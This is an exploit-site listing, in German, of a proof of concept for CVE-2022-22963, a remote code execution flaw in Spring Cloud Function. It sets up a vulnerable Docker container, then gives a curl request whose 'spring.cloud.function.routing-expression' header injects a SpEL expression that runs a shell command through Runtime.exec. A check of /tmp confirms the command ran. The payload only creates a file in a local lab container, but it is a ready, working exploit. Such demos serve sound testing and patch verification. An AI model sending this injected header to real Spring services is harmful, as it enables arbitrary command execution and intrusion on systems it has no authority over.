Sploitus

Exploit for CVE-2022-22963

kitploit · 2026-08-27

Exploit Code

MARKDOWN28 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ME2NUK-CVE-2022-22963
# Spring Cloud Function Schwachstelle (CVE-2022-22963)

Verwundbare Anwendung für CVE-2022-22963

# CVE-2022-22963 Exploit-Demo

https://user-images.githubusercontent.com/57348147/161266562-51d025f0-54d4-488f-ac50-2317e29bfbdf.mp4

## Erstellen

root@kitploit:~
    
    
    docker pull me2nuk/cves:2022-22963
    docker run -it -p 8080:8080 --name=vuln me2nuk/cves:2022-22963
    

## POC

root@kitploit:~
    
    
    curl -X POST  http://0.0.0.0:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")' --data-raw 'data' -v
    docker exec -it --user=root vuln ls /tmp
    

#### Referenzen